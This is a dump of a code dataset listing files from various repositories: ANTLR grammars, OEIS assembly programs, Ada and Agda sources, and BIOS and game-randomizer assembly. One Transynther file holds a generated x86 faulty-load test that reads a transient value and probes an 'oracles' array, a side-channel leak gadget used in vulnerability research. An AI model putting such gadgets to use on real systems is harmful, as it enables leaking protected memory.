max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
example/rule/example/gengine.g4
wangdyqxx/sutil
1
5413
grammar gengine; primary: ruleEntity+; ruleEntity: RULE ruleName ruleDesc?salience? BEGIN ruleContent END; ruleName : testStr; ruleDesc : testStr; testStr: ' '; salience : ; ruleContent: 'return 1';
oeis/098/A098445.asm
neoneye/loda-programs
11
96024
; A098445: Coefficients of powers of q^5 in (q)_infty^5 = (q_5)^infty (mod 5). ; Submitted by <NAME>(w1) ; 1,4,4,0,0,1,0,1,0,0,0,0,4,0,0,4,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,4,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0 seq $0,7706 ; a(n) = 1 + coefficient of x^n in Product_{k>=1} (1-x^k) (essentially the expansion of the Dedekind function eta(x)). gcd $0,16 add $0,2 div $0,4
Validation/pyFrame3DD-master/gcc-master/gcc/ada/bindo-validators.ads
djamal2727/Main-Bearing-Analytical-Model
0
10240
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- B I N D O . V A L I D A T O R S -- -- -- -- S p e c -- -- -- -- Copyright (C) 2019-2020, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING3. If not, go to -- -- http://www.gnu.org/licenses for a complete copy of the license. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- For full architecture, see unit Bindo. -- The following unit contains facilities to verify the validity of the -- various graphs used in determining the elaboration order of units. with Bindo.Graphs; use Bindo.Graphs; use Bindo.Graphs.Invocation_Graphs; use Bindo.Graphs.Library_Graphs; package Bindo.Validators is ---------------------- -- Cycle_Validators -- ---------------------- package Cycle_Validators is Invalid_Cycle : exception; -- Exception raised when the library graph contains an invalid cycle procedure Validate_Cycles (G : Library_Graph); -- Ensure that all cycles of library graph G meet the following -- requirements: -- -- * Are of proper kind -- * Have enough edges to form a circuit -- * No edge is repeated -- -- Diagnose issues and raise Invalid_Cycle if this is not the case. end Cycle_Validators; ---------------------------------- -- Elaboration_Order_Validators -- ---------------------------------- package Elaboration_Order_Validators is Invalid_Elaboration_Order : exception; -- Exception raised when the elaboration order contains invalid data procedure Validate_Elaboration_Order (Order : Unit_Id_Table); -- Ensure that elaboration order Order meets the following requirements: -- -- * All units that must be elaborated appear in the order -- * No other units appear in the order -- -- Diagnose issues and raise Invalid_Elaboration_Order if this is not -- the case. end Elaboration_Order_Validators; --------------------------------- -- Invocation_Graph_Validators -- --------------------------------- package Invocation_Graph_Validators is Invalid_Invocation_Graph : exception; -- Exception raised when the invocation graph contains invalid data procedure Validate_Invocation_Graph (G : Invocation_Graph); -- Ensure that invocation graph G meets the following requirements: -- -- * All attributes of edges are properly set -- * All attributes of vertices are properly set -- -- Diagnose issues and raise Invalid_Invocation_Graph if this is not the -- case. end Invocation_Graph_Validators; ------------------------------ -- Library_Graph_Validators -- ------------------------------ package Library_Graph_Validators is Invalid_Library_Graph : exception; -- Exception raised when the library graph contains invalid data procedure Validate_Library_Graph (G : Library_Graph); -- Ensure that library graph G meets the following requirements: -- -- * All attributes edges are properly set -- * All attributes of vertices are properly set -- -- Diagnose issues and raise Invalid_Library_Graph if this is not the -- case. end Library_Graph_Validators; end Bindo.Validators;
src/parser/Pico.g4
nmiljkovic/pico-asm
1
6014
<gh_stars>1-10 grammar Pico; program : EOL* symbols origin instructions ; symbols : symbolDeclLine* ; symbolDeclLine : symbolDecl? comment? EOL ; symbolDecl : identifier '=' constant ; origin : ORG constant comment? EOL ; instructions : line+ ; line : label? instruction? comment? EOL ; instruction : moveInstr | arithmeticInstr | branchInstr | ioInstr | callInstr | returnInstr | stopInstr ; moveInstr : MOV (argument ',' argument (',' argument)?) ; arithmeticInstr : (ADD|SUB|DIV|MUL) argument ',' argument ',' argument ; branchInstr : (BEQ|BGT) argument ',' argument ',' branchTarget ; branchTarget : symbolDirectArg | symbolIndirectArg ; ioInstr : (IN|OUT) argument (',' argument)? ; callInstr : JSR symbolDirectArg ; returnInstr : RTS ; stopInstr : STOP (argument (',' argument (',' argument)?)?)? ; label : identifier ':' ; identifier : IDENTIFIER ; constant : SIGN? NUMBER ; constantArg : constant ; symbolConstantArg : '#' identifier ; symbolDirectArg : identifier ; symbolIndirectArg : '(' identifier ')' ; argument : constantArg | symbolConstantArg | symbolDirectArg | symbolIndirectArg ; comment : COMMENT ; ORG: O R G; MOV: M O V; ADD: A D D; SUB: S U B; MUL: M U L; DIV: D I V; IN: I N; OUT: O U T; BEQ: B E Q; BGT: B G T; JSR: J S R; RTS: R T S; STOP: S T O P; fragment A : ('a' | 'A') ; fragment B : ('b' | 'B') ; fragment C : ('c' | 'C') ; fragment D : ('d' | 'D') ; fragment E : ('e' | 'E') ; fragment F : ('f' | 'F') ; fragment G : ('g' | 'G') ; fragment H : ('h' | 'H') ; fragment I : ('i' | 'I') ; fragment J : ('j' | 'J') ; fragment K : ('k' | 'K') ; fragment L : ('l' | 'L') ; fragment M : ('m' | 'M') ; fragment N : ('n' | 'N') ; fragment O : ('o' | 'O') ; fragment P : ('p' | 'P') ; fragment Q : ('q' | 'Q') ; fragment R : ('r' | 'R') ; fragment S : ('s' | 'S') ; fragment T : ('t' | 'T') ; fragment U : ('u' | 'U') ; fragment V : ('v' | 'V') ; fragment W : ('w' | 'W') ; fragment X : ('x' | 'X') ; fragment Y : ('y' | 'Y') ; fragment Z : ('z' | 'Z') ; IDENTIFIER : [a-zA-Z][a-zA-Z0-9_]* ; NUMBER : [0-9]+ ; SIGN : '+' | '-' ; EOL : [\r\n] ; COMMENT : ';' ~ [\r\n]* ; WS : [ \t] -> skip ;
C/BiosLib/setvidmo.asm
p-k-p/SysToolsLib
232
81245
page ,132 TITLE C library emulation, not relying on MS-DOS. ;*****************************************************************************; ; ; ; File Name: SetVidMo.asm ; ; ; ; Description: Set Video Mode ; ; ; ; Notes: ; ; ; ; History: ; ; 1996/08/19 JFL Created this file. ; ; ; ; (c) Copyright 1996-2017 Hewlett Packard Enterprise Development LP ; ; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ; ;*****************************************************************************; ;-----------------------------------------------------------------------------; ; ; ; Globally defined constants ; ; ; ;-----------------------------------------------------------------------------; include adefine.inc ; All assembly language definitions ;-----------------------------------------------------------------------------; ; ; ; Public routines ; ; ; ;-----------------------------------------------------------------------------; .code ;-----------------------------------------------------------------------------; ; ; ; Function: set_video_mode ; ; ; ; Description: Set the video mode ; ; ; ; Parameters: AX Mode number. ; ; ; ; Returns: AX Video BIOS return code. ; ; ; ; Notes: ; ; ; ; Regs altered: AX, BX ; ; ; ; History: ; ; 1992/05/15 MM Initial implementation. ; ; 1992/06/17 MM Set the video mode only for the QUASAR family. ; ; Do nothing for the following models such as PULSAR, ; ; detectable with their hp_id "HP" in another location ; ; in F000:0102h. ; ; 1996/06/26 JFL Removed the pulsar-specific code. ; ; Added support for VESA modes. ; ; 1997/02/13 JFL Use VESA extensions only for modes > 255. ; ; 1997/03/18 JFL Do not revert to VGA in case of VESA failure. Stupid. ; ; ; ;-----------------------------------------------------------------------------; CFASTPROC set_video_mode test ah, ah jz @F ; Use VESA extensions for modes > 255 mov bx, ax ; <15>=!Clear; <14>=flat; <8:0>=Mode mov ax, 4F02H ; Set VBE mode int VIDEO ; Preserves all registers but AX jmp done @@: mov ah, F10_SET_MODE int VIDEO xor ah, ah done: ret ENDCFASTPROC set_video_mode END
ASM/src/cutscenes.asm
ShadoMagi/OoT-Randomizer
0
6406
<filename>ASM/src/cutscenes.asm override_great_fairy_cutscene: ; a0 = global context ; a2 = fairy actor lw t0, 0x1D2C (a0) ; t0 = switch flags li t1, 1 sll t1, t1, 0x18 ; t1 = ZL switch flag and v0, t0, t1 beqz v0, @@return ; Do nothing until ZL is played nop lhu t2, 0x02DC (a2) ; Load fairy index li t3, SAVE_CONTEXT lhu t4, 0xA4 (a0) ; Load scene number beq t4, 0x3D, @@item_fairy nop ; Handle upgrade fairies addu t4, a0, t2 lbu t5, 0x1D28 (t4) ; t5 = chest flag for this fairy bnez t5, @@return ; Use default behavior if the item is already obtained nop li t5, 1 sb t5, 0x1D28 (t4) ; Mark item as obtained addiu t2, t2, 3 ; t2 = index of the item in FAIRY_ITEMS b @@give_item nop @@item_fairy: li t4, 1 sllv t4, t4, t2 ; t4 = fairy item mask lbu t5, 0x0EF2 (t3) ; t5 = fairy item flags and t6, t5, t4 bnez t6, @@return ; Use default behavior if the item is already obtained nop or t6, t5, t4 sb t6, 0x0EF2 (t3) ; Mark item as obtained @@give_item: ; Unset ZL switch nor t1, t1, t1 and t0, t0, t1 sw t0, 0x1D2C (a0) ; Load fairy item and mark it as pending li t0, FAIRY_ITEMS addu t0, t0, t2 lb t0, 0x00 (t0) li t1, PENDING_SPECIAL_ITEM sb t0, 0x00 (t1) li v0, 0 ; Prevent fairy animation @@return: jr ra nop ;================================================================================================== override_light_arrow_cutscene: li t0, LIGHT_ARROW_ITEM lb t0, 0x00 (t0) li t1, PENDING_SPECIAL_ITEM sb t0, 0x00 (t1) jr ra nop
src/main/antlr4/io/github/mbarkley/rollens/antlr/CommandParser.g4
mbarkley/modus-rollens
0
6709
<filename>src/main/antlr4/io/github/mbarkley/rollens/antlr/CommandParser.g4<gh_stars>0 parser grammar CommandParser; options { tokenVocab = CommandLexer; contextSuperClass=io.github.mbarkley.rollens.antlr.RuleContextWithAltNum; } // Grammar rules command : START expression EOF ; expression : rollKeyword? roll | save | list | delete | help | select | annotate | rollKeyword? invocation ; delete // delete name <arity> : {getCurrentToken().getText().equals("delete")}? IDENTIFIER IDENTIFIER NUMBER ; invocation : IDENTIFIER (NUMBER)* ; save // save f arg1 arg2... = <expression> : {getCurrentToken().getText().equals("save")}? IDENTIFIER declarationLHS EQ rollExpression ; help : {getCurrentToken().getText().equals("help")}? IDENTIFIER ; list : {getCurrentToken().getText().equals("list")}? IDENTIFIER ; select : {getCurrentToken().getText().equals("select")}? IDENTIFIER | {getCurrentToken().getText().equals("select")}? IDENTIFIER declarationLHS NUMBER* ; annotate : {getCurrentToken().getText().equals("annotate")}? IDENTIFIER function=IDENTIFIER arity=NUMBER? parameter=IDENTIFIER? OPEN_ANNOTATION ANNOTATION ; declarationLHS : IDENTIFIER+ | LB IDENTIFIER+ RB ; roll : rollExpression ; rollKeyword : {getCurrentToken().getText().equals("roll")}? IDENTIFIER ; // Set alt numbers manually as workaround for bug rollExpression : numeric rollExpression {_localctx.setAltNumber(1);} | rollExpression unaryConstantOp {_localctx.setAltNumber(2);} | LB rollExpression RB {_localctx.setAltNumber(3);} | rollExpression op=(DIVIDE|TIMES) rollExpression {_localctx.setAltNumber(4);} | rollExpression op=(PLUS|MINUS) rollExpression {_localctx.setAltNumber(5);} | simpleRoll {_localctx.setAltNumber(6);} ; unaryConstantOp : op=(TIMES|DIVIDE) numeric {_localctx.setAltNumber(1);} | op=(TIMES|DIVIDE) LB constExpression RB {_localctx.setAltNumber(2);} | op=(TIMES|DIVIDE) constExpression op2=(DIVIDE|TIMES) constExpression {_localctx.setAltNumber(3);} | op=(TIMES|DIVIDE) constExpression op2=(PLUS|MINUS) constExpression {_localctx.setAltNumber(4);} | op=(PLUS|MINUS) constExpression {_localctx.setAltNumber(5);} ; constExpression : numeric {_localctx.setAltNumber(1);} | LB constExpression RB {_localctx.setAltNumber(2);} | constExpression op=(DIVIDE|TIMES) constExpression {_localctx.setAltNumber(3);} | constExpression op=(PLUS|MINUS) constExpression {_localctx.setAltNumber(4);} ; numeric : NUMBER | REFERENCE ; simpleRoll // Make sure we can't parse strings like `2d6 + 1d10` with this pattern // Only parse sums of dice as single term if there are modifiers (ex. `d6 + d4 e4`) // Otherwise we break precedence of operations : dice ((PLUS dice)* modifiers)? ; dice : DICE | DNUM ; modifiers : modifier+ ; modifier : TNUM {_localctx.setAltNumber(1);} | FNUM {_localctx.setAltNumber(2);} | ENUM {_localctx.setAltNumber(3);} | IENUM {_localctx.setAltNumber(4);} | KNUM {_localctx.setAltNumber(5);} | DNUM {_localctx.setAltNumber(6);} | RNUM {_localctx.setAltNumber(7);} | IRNUM {_localctx.setAltNumber(8);} | KLNUM {_localctx.setAltNumber(9);} ;
oeis/123/A123011.asm
neoneye/loda-programs
11
19520
; A123011: a(n) = 2*a(n-1) + 5*a(n-2) for n > 1; a(0) = 1, a(1) = 5. ; Submitted by <NAME>(s4) ; 1,5,15,55,185,645,2215,7655,26385,91045,314015,1083255,3736585,12889445,44461815,153370855,529050785,1824955845,6295165615,21715110455,74906048985,258387650245,891305545415,3074549342055,10605626411185,36583999532645,126196131121215,435312259905655,1501605175417385,5179771650363045,17867569177813015,61633996607441255,212605839103947585,733381661245101445,2529792518009940815,8726493342245388855,30101949274540481785,103836365260307907845,358182476893318224615,1235546780088175988455 mov $1,1 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,5 mul $3,2 add $3,$1 mov $1,$2 lpe mov $0,$1
msp430-gcc-tics/msp430-gcc-7.3.1.24-source-full/gcc/gcc/testsuite/gnat.dg/disp2_pkg.adb
TUDSSL/TICS
7
1266
<reponame>TUDSSL/TICS<gh_stars>1-10 package body Disp2_Pkg is function Impl_Of (Self : access Object) return Object_Ptr is begin return Object_Ptr (Self); end Impl_Of; end Disp2_Pkg;
data/trainers/leaders.asm
Dev727/ancientplatinum
28
167369
<reponame>Dev727/ancientplatinum ; These lists determine the battle music and victory music, and whether to ; award HAPPINESS_GYMBATTLE for winning. ; Note: CHAMPION and RED are unused for battle music checks, since they are ; accounted for prior to the list check. GymLeaders: db FALKNER db WHITNEY db BUGSY db MORTY db PRYCE db JASMINE db CHUCK db CLAIR db WILL db BRUNO db KAREN db KOGA db CHAMPION db RED ; fallthrough KantoGymLeaders: db BROCK db MISTY db LT_SURGE db ERIKA db JANINE db SABRINA db BLAINE db BLUE db -1
programs/oeis/144/A144481.asm
neoneye/loda
22
168640
; A144481: A078371(n-1) mod 9. ; 5,3,0,5,0,3,5,6,6,5,3,0,5,0,3,5,6,6,5,3,0,5,0,3,5,6,6,5,3,0,5,0,3,5,6,6 seq $0,73577 ; a(n) = 4*n^2 + 4*n - 1. mod $0,9 sub $0,2
examples/Sized/Parrot.agda
agda/ooAgda
23
13492
<filename>examples/Sized/Parrot.agda module Sized.Parrot where open import Data.Product open import Data.String.Base open import SizedIO.IOObject open import SizedIO.Base open import SizedIO.Console hiding (main) open import SizedIO.ConsoleObject open import NativeIO open import Sized.SimpleCell hiding (program; main) open import Size record Wrap A : Set where constructor wrap field unwrap : A parrotI = cellJ (Wrap String) ParrotC : (i : Size) → Set ParrotC i = ConsoleObject i parrotI -- but reusing cellC from SimpleCell, as interface is ident! -- class Parrot implements Cell { -- Cell cell; -- Parrot (Cell c) { cell = c; } -- public String get() { -- return "(" + cell.get() + ") is what parrot got"; -- } -- public void put (String s) { -- cell.put("parrot puts (" + s + ")"); -- } -- } -- parrotP is constructor for the consoleObject for interface (cellI String) parrotP : ∀{i} (c : CellC i) → ParrotC i (method (parrotP c) get) = method c get >>= λ { (s , c') → return (wrap ("(" ++ s ++ ") is what parrot got") , parrotP c' ) } (method (parrotP c) (put (wrap s))) = method c (put ("parrot puts (" ++ s ++ ")")) >>= λ { (_ , c') → return (_ , parrotP c') } -- public static void main (String[] args) { -- Parrot c = new Parrot(new SimpleCell("Start")); -- System.out.println(c.get()); -- c.put(args[1]); -- System.out.println(c.get()); -- } -- } program : String → IOConsole ∞ Unit program arg = let c₀ = parrotP (cellP "Start") in method c₀ get >>= λ{ (wrap s , c₁) → exec1 (putStrLn s) >> method c₁ (put (wrap arg)) >>= λ{ (_ , c₂) → method c₂ get >>= λ{ (wrap s' , c₃) → exec1 (putStrLn s') }}} main : NativeIO Unit main = translateIOConsole (program "hello") -- -}
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_276.asm
ljhsiun2/medusa
9
167243
<filename>Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_276.asm .global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r9 push %rax push %rbp push %rcx push %rdi lea addresses_WT_ht+0x1b2fd, %r10 nop nop nop cmp %rcx, %rcx mov $0x6162636465666768, %rax movq %rax, %xmm6 vmovups %ymm6, (%r10) nop nop add $52474, %r14 lea addresses_A_ht+0x99c8, %rbp and $16143, %r9 movb (%rbp), %r10b nop nop nop nop xor $40303, %r14 lea addresses_WT_ht+0x11e7d, %rcx nop nop nop nop cmp %rbp, %rbp movb (%rcx), %r9b nop dec %r14 lea addresses_D_ht+0x377d, %rax nop cmp %rdi, %rdi movl $0x61626364, (%rax) nop nop nop add %rcx, %rcx lea addresses_WT_ht+0x165cd, %r9 clflush (%r9) nop nop nop nop nop add $18800, %rcx movb $0x61, (%r9) nop nop nop and %r10, %r10 pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r15 push %r8 push %rdi push %rdx // Load lea addresses_UC+0x1693d, %r14 nop nop nop nop nop dec %r11 vmovups (%r14), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rdi nop nop nop nop nop sub %r8, %r8 // Store lea addresses_PSE+0xbe7d, %r15 nop nop nop inc %rdx movb $0x51, (%r15) and %r8, %r8 // Faulty Load lea addresses_PSE+0xbe7d, %r10 nop nop nop and %r14, %r14 vmovntdqa (%r10), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %rdx lea oracles, %rdi and $0xff, %rdx shlq $12, %rdx mov (%rdi,%rdx,1), %rdx pop %rdx pop %rdi pop %r8 pop %r15 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_PSE'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
unittests/ASM/X87_F64/DA_04_F64.asm
Seas0/FEX
0
97937
<gh_stars>0 %ifdef CONFIG { "RegData": { "RAX": ["0xbff0000000000000"] }, "Env": { "FEX_X87REDUCEDPRECISION" : "1" } } %endif mov rdx, 0xe0000000 mov rax, 0x3ff0000000000000 ; 1.0 mov [rdx + 8 * 0], rax mov eax, 2 mov [rdx + 8 * 1], eax fld qword [rdx + 8 * 0] fisub dword [rdx + 8 * 1] fst qword [rdx] mov rax, [rdx] hlt
programs/oeis/186/A186317.asm
karttu/loda
0
90650
; A186317: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) after g(j) when f(i)=g(j), where f and g are the squares and hexagonal numbers. Complement of A186318. ; 2,3,5,7,8,10,12,13,15,17,19,20,22,24,25,27,29,30,32,34,36,37,39,41,42,44,46,48,49,51,53,54,56,58,60,61,63,65,66,68,70,71,73,75,77,78,80,82,83,85,87,89,90,92,94,95,97,99,100,102,104,106,107,109,111,112,114,116,118,119,121,123,124,126,128,129,131,133,135,136,138,140,141,143,145,147,148,150,152,153,155,157,159,160,162,164,165,167,169,170 mov $1,$0 mov $3,$0 add $0,7 mov $2,$0 mov $5,1 add $5,$1 lpb $2,1 mov $6,$5 lpb $5,1 mov $5,$4 pow $6,2 lpe mov $0,4 mov $1,4 mov $5,1 lpb $6,1 add $1,1 add $5,$0 trn $6,$5 lpe mov $2,1 lpe sub $1,2 add $1,$3 sub $1,1
tools-src/gnu/gcc/gcc/ada/s-taenca.ads
enfoTek/tomato.linksys.e2000.nvram-mod
80
6561
<filename>tools-src/gnu/gcc/gcc/ada/s-taenca.ads ------------------------------------------------------------------------------ -- -- -- GNU ADA RUN-TIME LIBRARY (GNARL) COMPONENTS -- -- -- -- S Y S T E M . T A S K I N G . E N T R Y _ C A L L S -- -- -- -- S p e c -- -- -- -- $Revision$ -- -- -- Copyright (C) 1991-1998, Florida State University -- -- -- -- GNARL is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNARL is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNARL; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNARL was developed by the GNARL team at Florida State University. It is -- -- now maintained by Ada Core Technologies Inc. in cooperation with Florida -- -- State University (http://www.gnat.com). -- -- -- ------------------------------------------------------------------------------ package System.Tasking.Entry_Calls is procedure Wait_For_Completion (Self_ID : Task_ID; Entry_Call : Entry_Call_Link); -- This procedure suspends the calling task until the specified entry -- call has either been completed or cancelled. It performs other -- operations required of suspended tasks, such as performing -- dynamic priority changes. On exit, the call will not be queued. -- This waits for calls on task or protected entries. -- Abortion must be deferred when calling this procedure. -- Call this only when holding Self_ID locked. procedure Wait_For_Completion_With_Timeout (Self_ID : Task_ID; Entry_Call : Entry_Call_Link; Wakeup_Time : Duration; Mode : Delay_Modes); -- Same as Wait_For_Completion but it wait for a timeout with the value -- specified in Wakeup_Time as well. -- Self_ID will be locked by this procedure. procedure Wait_Until_Abortable (Self_ID : Task_ID; Call : Entry_Call_Link); -- This procedure suspends the calling task until the specified entry -- call is queued abortably or completes. -- Abortion must be deferred when calling this procedure. procedure Try_To_Cancel_Entry_Call (Succeeded : out Boolean); pragma Inline (Try_To_Cancel_Entry_Call); -- Try to cancel async. entry call. -- Effect includes Abort_To_Level and Wait_For_Completion. -- Cancelled = True iff the cancelation was successful, i.e., -- the call was not Done before this call. -- On return, the call is off-queue and the ATC level is reduced by one. procedure Reset_Priority (Acceptor_Prev_Priority : Rendezvous_Priority; Acceptor : Task_ID); pragma Inline (Reset_Priority); -- Reset the priority of a task completing an accept statement to -- the value it had before the call. procedure Check_Exception (Self_ID : Task_ID; Entry_Call : Entry_Call_Link); pragma Inline (Check_Exception); -- Raise any pending exception from the Entry_Call. -- This should be called at the end of every compiler interface -- procedure that implements an entry call. -- In principle, the caller should not be abort-deferred (unless -- the application program violates the Ada language rules by doing -- entry calls from within protected operations -- an erroneous practice -- apparently followed with success by some adventurous GNAT users). -- Absolutely, the caller should not be holding any locks, or there -- will be deadlock. end System.Tasking.Entry_Calls;
coverage/IN_CTS/0489-COVERAGE-nir-opt-loop-unroll-83/work/variant/1_spirv_asm/shader.frag.asm
asuonpaa/ShaderTests
0
7936
